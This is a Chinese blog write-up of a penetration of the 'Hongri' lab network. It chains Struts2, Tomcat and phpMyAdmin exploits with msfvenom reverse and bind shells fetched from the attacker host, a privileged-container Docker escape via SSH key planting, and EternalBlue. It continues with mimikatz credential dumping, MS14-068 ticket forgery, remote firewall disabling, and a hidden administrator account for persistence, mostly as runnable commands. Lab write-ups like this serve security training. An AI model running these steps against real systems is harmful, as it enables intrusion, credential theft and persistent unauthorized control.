Drunkmars's Blog

红日靶场4

字数统计: 3.3k阅读时长: 12 min
2021/08/09

本文首发于先知社区:https://xz.aliyun.com/t/9966

记一次docker逃逸拿shell的靶场渗透。

环境搭建

靶场:

ubuntu

内网ip:192.168.183.10

外网ip:192.168.1.6

域内主机:

win7:192.168.183.129

win2008:192.168.183.130

需手动开启ubuntu的docker环境,对应的端口服务如下

2001 struts2

2002 tomcat8

2003 phpmyadmin 4.8.1

image-20210709093338103

外网打点

端口扫描

首先对ubuntu进行端口扫描,发现2001、2002、2003三个特征端口

1
nmap -T4 -sC -sV 192.168.1.6

image-20210709094220926

Struts2

首先访问2001端口,是一个struts2的框架

image-20210709094558126

这里直接使用漏扫工具检测struts2有无漏洞,这里发现存在S2-045、S2-046两个漏洞

image-20210709094725911

首先使用S2-045看能不能命令执行,这里发现返回的是html

image-20210709094750761

再换一个S2-046漏洞发现能够命令回显

image-20210709094804696

这里直接尝试上传一个jsp上去试试,返回了路径

image-20210709100008681

这里访问一下,返回了404,这里我尝试了其他几个路径都是返回404,但是S2-046这个漏洞应该是能拿到shell的,这里这个端口就没继续进行尝试了

image-20210709100001953

Tomcat8

看一下2002端口是一个apache tomcat8

image-20210709103027210

这里直接去kali上搜索对应版本的漏洞并把漏洞检测的poc复制出来

1
2
3
searchsploit tomcat 8.5.19

searchsploit -m /exploit/jsp/webapps/42966.py

image-20210709103920338

使用poc检测是否存在漏洞,这里发现是存在CVE-2017-12617这个漏洞的,这里的poc原理应该是上传了一个Poc.jsp来判断是否存在漏洞

1
python 42966.py -u http://192.168.1.6:2002/

image-20210709104023644

我们访问一下Poc.jsp,是存在的

image-20210709104043167

那么存在漏洞,直接使用-p参数进行攻击,这里拿到了一个反弹回来的shell,这里因为是交互型shell,不太方便下一步的操作,这里尝试着上线msf

1
python 42966.py -u http://192.168.1.6:2002/ -p pwn

image-20210709104200614

因为是linux,所以需要生成linux的木马,在kali本地起一个http服务方便靶机下载

1
2
3
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf > shell.elf

python -m SimpleHTTPServer #py2环境

image-20210709105746339

下载shell.elf并赋权执行

1
2
3
4
5
wget http://192.168.1.10:8000/shell.elf

chmod 777 shell.elf

./shell.elf

image-20210709110118973

使用msf接收会话,上线成功

1
2
3
4
set payload linux/x86/meterpreter/reverse_tcppayload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.1.10
set lport 4444
run

image-20210709111928807

phpmyadmin4.8.1

访问2003端口是一个直接暴露的phpmyadmin

image-20210709112254051

这里对应版本的漏洞是CVE-2018-12613,是一个文件包含的漏洞,这里看一下漏洞的分析

首先在如下图所示的index.php中存在一处包含指定文件的代码:

22-2

需要成功包含,必须满足if区间中的五个条件:target参数值不为空;target参数值为字符串;target参数值不以index开头;target参数值不在黑名单中;过checkPageValidity函数的检查。其中第四个条件的黑名单即51行中import.php与export.php;第五个条件需要查看该函数:

22-3

可以看到core类的checkPageValidity函数中又必须经过以下的五个判断:

1、$whitelist为空就引用申明的$goto_whitelist
2、$page如果没有定义或者$page不为字符串就返回false
3、$page如果存在在$whitelist中返回true
4、如果$_page存在在$whitelist中返回true
5、经过urldecode函数解码后的$_page存在在$whitelist中返回true

我们可以看到在index.php调用checkPageValidity函数时没有传入其他参数,因此会进入第一个判断,而$goto_whitelist如下所示:

22-4

它定义了很多可以被包含的文件名。然后第二个判断可以跳过;看第三个判断,可以看到$page参数是不在$whitelist中的,此处不满足;看第四个判断,这个判断是对$_page进行的,校验$_page是否在白名单中,而$_page是将$page值末尾加上’?’后从字符串第0位开始分割,取其中第一次出现?之前的内容,如下图所示:target=sql.ph%3fp时:

22-5

因此此处可以用’$target=db_sql.php?/../../被包含文件’来满足条件,但是$target进入到index.php的include()中,被包含的文件无法打开,出现报错。(windows文件命名规则中规定了文件名不能出现特殊字符,linux为服务器的情况下,是可以使用?直接进行绕过)

22-6

第五个判断,先将$page进行urldecode解码,然后再进行?的分割,取值进行判断,只要解码后分割出来的值在$whitelist中即可满足条件。而在$target 里问号被二次编码为%253f, db_sql.php%253f也会被认为是一个目录,可以用../跨越,成功实现包含。因此命名规范里面没有将%放进去也是该漏洞能在windows下成功利用的一个关键点。

22-7

这样我们可以将?进行二次编码。如果传入target=db_sql.php%253f。在第四个判断中进行白名单校验时,为db_sql.php%3f,不满足,第五个判断的urldecode后,进行校验时为db_sql.php,符合条件,然后即可成功包含文件。

22-8

这里就可以构造一个payload输出密码

1
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

image-20210709113358517

这里首先写入一个phpinfo,然后查看phpMyAdmin的value

image-20210709113935599

得到phpMyAdmin:”990aadb371d8e582cb000c716aed9720”,然后构造payload进行文件包含输出phpinfo

1
?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_990aadb371d8e582cb000c716aed9720

image-20210709114117955

写入一句话木马查看phpMyAdmin的值然后构造payload进行文件包含用蚁剑连接即可

phpMyAdmin:”990aadb371d8e582cb000c716aed9720”

1
?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_990aadb371d8e582cb000c716aed9720

image-20210709114312577

内网渗透

docker逃逸

这里理论上三种方法都能够拿到shell,这里我使用tomcat上线到msf的shell进行信息搜集

可以看到有eth0、eth1分别处于1.0/24和183.0/24两个网段,初步判断是有域环境的。

image-20210711202608092

继续往下看,还有几个ip,但是不是eth,而且这里有三个ip,根据上面有三个不同的环境,那么可以判断应该是用的docker。那么我们无论使用3个环境的哪个环境拿shell都只是一个docker容器里面的shell,并不是真正ubuntu的shell,所以这里我们还需要进行docker逃逸到ubuntu

image-20210711202741289

这里我尝试脏牛失败,这里就需要使用到privileged特权模式逃逸

privileged特权模式逃逸

docker中提供了一个--privileged参数,这个参数本身最初的目的是为了提供在docker中运行docker的能力
https://www.docker.com/blog/docker-can-now-run-within-docker/

docker文档中对这个参数的解释如下
https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities

当操作员执行时docker run –privileged,Docker将启用对主机上所有设备的访问,并在AppArmor或SELinux中进行一些配置,以允许容器对主机的访问几乎与在主机上容器外部运行的进程相同。

当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。那么这里就可以尝试使用特权模式写入ssh私钥,使用ssh免密登录

这里首先新建一个tmptest文件夹,用来存放挂载后的docker

image-20210710151826541

查看一下dev文件夹里面的设备文件

image-20210710151841967

可以看到有四个sda设备文件,我这里选择sda1进行挂载

image-20210710151854059

使用mount命令将sda1挂载到tmptest文件夹里并用ls指令进行查看

1
2
mount /dev/sda1 /tmptest
ls /tmptest

image-20210710152022182

然后使用ssh生成一个名叫tmp的私钥,然后用chmod命令赋予权限

1
2
3
ssh-keygen -f tmp
chomd 600 tmp
cat tmp.pub

image-20210710152216143

因为我们之前已经把sda1挂载成功了,那么我们如果要访问ubuntu的/home目录,我们直接访问挂载到的tmptest文件夹的/home文件夹即可,即/tmptest/home路径

image-20210710152301278

使用ls -alh查看当前目录下包括隐藏文件在内的所有文件

1
ls -alh /tmptest/home/ubuntu

image-20210710152309466

这里我们看到了一个.ssh文件,我们要将ssh私钥写入到.ssh目录里面并将文件命名为authorized_keys(目标机.ssh目录权限必须为700)

使用如下命令写入ssh私钥

1
2
3
4
5
6
cp -avx /tmptest/home/ubuntu/.ssh/id_rsa.pub /tmptest/home/ubuntu/.ssh/authorized_keys 

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5yY2m0Ji9Sy+zc1/84P9EI+CQqhi6xwyni/k8cnGSjJf333Bncr0pEHDGU+jtaBzMzgX/b+kDAfvfvXNvI15+1SOmpLmM08H4twac2lGLt3fRbKPK6W8a3eNdaP6LVHZ6OXUmSWMBZPUzHHnfpaOIVAqOsFpIsPyn9NEu0Y8PxnVWJd42aI5fRwwL/OUIiQnQynmBnnxfeG54HpVPvVPeF9YfSJblQCkr3DiN9HiI/i6wIK7nZH33O3wEV7PxWjQ/qOhuhL1HFwLXh3FqWW/uqcE/C6UT4KSYcaoKkEe2iFrdjZ53LUsBXpEzxy4Om27SIl2Od/S2o6PW6wmfbe6GlDFITNf+9ZOVCGz5Zt4qewTP0W8kW4oC2eBz2OaaJoE25q1f0OL/28O2n5CSqxCgLx0rZBLsTHSadYD32iOCtY7r5fQdXkJU4C0tzGYJbs3SNJG3yqJ3yG5cMmnKTz8sblW+B3JdDaWUw8artLteb5Bw2b8yVvRRtgZcBWQPLe0= root@kali' > /tmptest/home/ubuntu/.ssh/authorized_keys

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrmhVWnGEgZWNmpbVC+BMdRKVDjbc78QaCWYMJFxNWSYVayOZEUjYQin4VXwbetNoBGrdT7G1rnK8HNs5iK4u2HClZVhq3uOsWc/QAx0ETT1viv3+rA7JmPWbBNLzYRlEG9OWzvhzxh0cRmQsrX7ngbmcCvaIgQDcFa5NtddEZ4vD5SvumHyABvSL+DygN3ig592aoI2Z65wkYmqV7cBlNuZpZe+L6C7L0LZEXy4dleoaCH4Ks+PcUJ/S4z2ruIpKHktFpdc37DXbXusLxWV9fyD7anFXz5wQ552JT0L7SzD7HQ04OR7DR9dRQ7A1lXDbWrZ7CL1pvTH+L7uhwV7X8qs93pkApiaKDXT4M+uAKLLlwL3cMEL8NM4oWV/PBBm1CfpMNhbj4k3r4c19kec5rlAXCbS/lQKRMtS+mmCvY4QP5MUk6L/adRcC693/m6aqNQVlAk4SJr2yCHP0LwWKV8tH0teBhFVk7lR0A7lz2p+GLdjWYBvsI+8lBs5XBoJ8= root@kali
' > /tmptest/home/ubuntu/.ssh/authorized_keys

image-20210710152531088

然后再使用ssh连接ubuntu即可,到此我们才真正意义上拿到了ubuntu的webshell

1
ssh -i tmptest ubuntu@192.168.1.6

image-20210710153607718

上线宿主机到msf

这里还是按照之前的方法生成一个elf文件在ubuntu上执行

1
2
3
wget http://192.168.1.10:8000/test.elf
chmod 777 test.elf
./test.elf

image-20210710153833975

msf设置监听模块接受会话,成功上线

image-20210710153906276

存活探测

添加183.0/24的路由并设置socks代理把msf带入内网,注意要配置proxychains.conf文件

1
2
3
4
5
6
route add 192.168.183.0 255.255.255.0 3
route print

use auxiliary/server/socks_proxy
set version 4a
run

image-20210710154126238

可以使用proxychains配合nmap对整个内网网段进行扫描,但是这里它会一个一个ip+端口的方式去扫描,速度比较慢

1
proxychains4 nmap -sT -Pn 192.168.183.1/24

image-20210710154357652

我这里使用个速度稍微快点的,使用的是kali里面的udp_probe模块

1
2
3
4
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.1-255
set threads 20
run

这里可以看到内网中还有两台主机存活,一个是192.168.183.129,一个192.168.183.130,这里注意到130开了一个53端口,这里初步判断130为域控

image-20210710154625500

永恒之蓝尝试

这里直接上手永恒之蓝先打一波,这里实战的话最好先扫描,因为直接打的话可能会打蓝屏,这里是靶场的原因我就直接上手打了。之前提到过130开了53端口初步判断为域控,所以这里先从129这台主机入手

1
2
3
4
use exploit/windows/ smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.129
run

image-20210711164727185

这里看到永恒之蓝直接打成功了返回了一个SYSTEM权限的meterpreter,这里先进行一个进程迁移,从x86迁移到x64的进程里面

image-20210711164908165

我这里迁移到472这个system进程里面

image-20210711164916229

然后开启一个windows环境下的cmd进行信息搜集

1
2
3
chcp 65001
net user
net view /domain

可以看到这里是在DEMO这个域环境里面

image-20210711165022348

ping一下130,能够ping通

image-20210711165134837

获取密码

这里获取密码有两种方法,先使用常规方法mimikatz抓取

使用copy命令上传一个mimikatz,这里tasklist /svc查看进程是没有杀软的那么直接上mimikatz了

这里出现了一个问题提示我的权限不够不能够获取调试权限

image-20210711165731902

那么这里exit回到meterpreter里面使用令牌窃取SYSTEM权限之后进行mimikatz密码进行抓取

1
2
3
4
5
6
use incognito
inpersonate_token "NT AUTHORITY\SYSTEM"

mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

image-20210711165951971

这里得到域成员douser/Dotest123

image-20210711170007140

这里还有一个获取密码的方式就是获取ubuntu执行命令的历史记录,我们知道ubuntu有两个网段,跟129这台主机是在一个域内的,那么可以看一下是否有连接过129这台主机的命令曾经执行过,这里就类似于windows里面的udp凭证被保存了下来

image-20210711213023199

image-20210711213052863

域控横向移动

这里拿到了域成员的帐号和密码,这里我们直接使用一个ptt伪造票据来拿到域控权限,利用mimikatz注入票据

1
2
3
4
ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc TGT_douser@DEMO.com.ccache //将票据注入

image-20210711170643083

这里使用klist查看下票据已经注入进去了

image-20210711170714848

这里直接使用ipc连接域控,注意这里需要用主机名而不能用ip

1
net use \\WIN-ENS2VR5TR3N

image-20210711171102615

这里生成一个正向连接的msf马

1
msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.1.10 lport=4444 -f exe -o bind.exe

image-20210711171213256

使用copy命令复制到DC上后使用sc创建计划任务

1
schtasks /create /tn "test" /tr C:\Users\Desktop\bind.exe /sc MINUTE /S 192.168.183.130

image-20210711171322209

使用sc关闭防火墙

1
2
3
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\WIN-ENS2VR5TR3N start unablefirewall

image-20210711171343659

创建服务执行msf马并用msf接受会话

1
2
3
4
5
6
7
8
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell

use exploit/multi/handler
set payload/meterpreter/bind_tcp
set lhost 192.168.1.10
set lport 4444
run

image-20210711175143843

成功接收到DC会话使用getsystem提权到system

image-20210711175602085

上传mimikatz抓取DC密码,得到DEMO qwe123!@#

image-20210711175735504

打开DC的远程桌面

1
run post/windows/manage/enable_rdp

image-20210711175843340

使用socks代理进入内网打开远程桌面

1
proxychains4 rdesktop 192.168.183.130

image-20210711175954197

权限维持

这里拿到域管用户之后可以使用金票进行权限维持,这里我就简单的添加一个隐藏用户进行权限维持

1
2
3
net user admin$ qaz123!@# /add		#添加用户admin$

net localgroup administrators admin$ /add #将admin$用户添加到管理员组administrators

这里再使用net user是看不到这个隐藏用户的

image-20210711180651437

CATALOG
  1. 1. 环境搭建
  2. 2. 外网打点
    1. 2.1. 端口扫描
    2. 2.2. Struts2
    3. 2.3. Tomcat8
    4. 2.4. phpmyadmin4.8.1
  3. 3. 内网渗透
    1. 3.1. docker逃逸
      1. 3.1.1. privileged特权模式逃逸
      2. 3.1.2. 上线宿主机到msf
    2. 3.2. 存活探测
    3. 3.3. 永恒之蓝尝试
    4. 3.4. 获取密码
    5. 3.5. 域控横向移动
  4. 4. 权限维持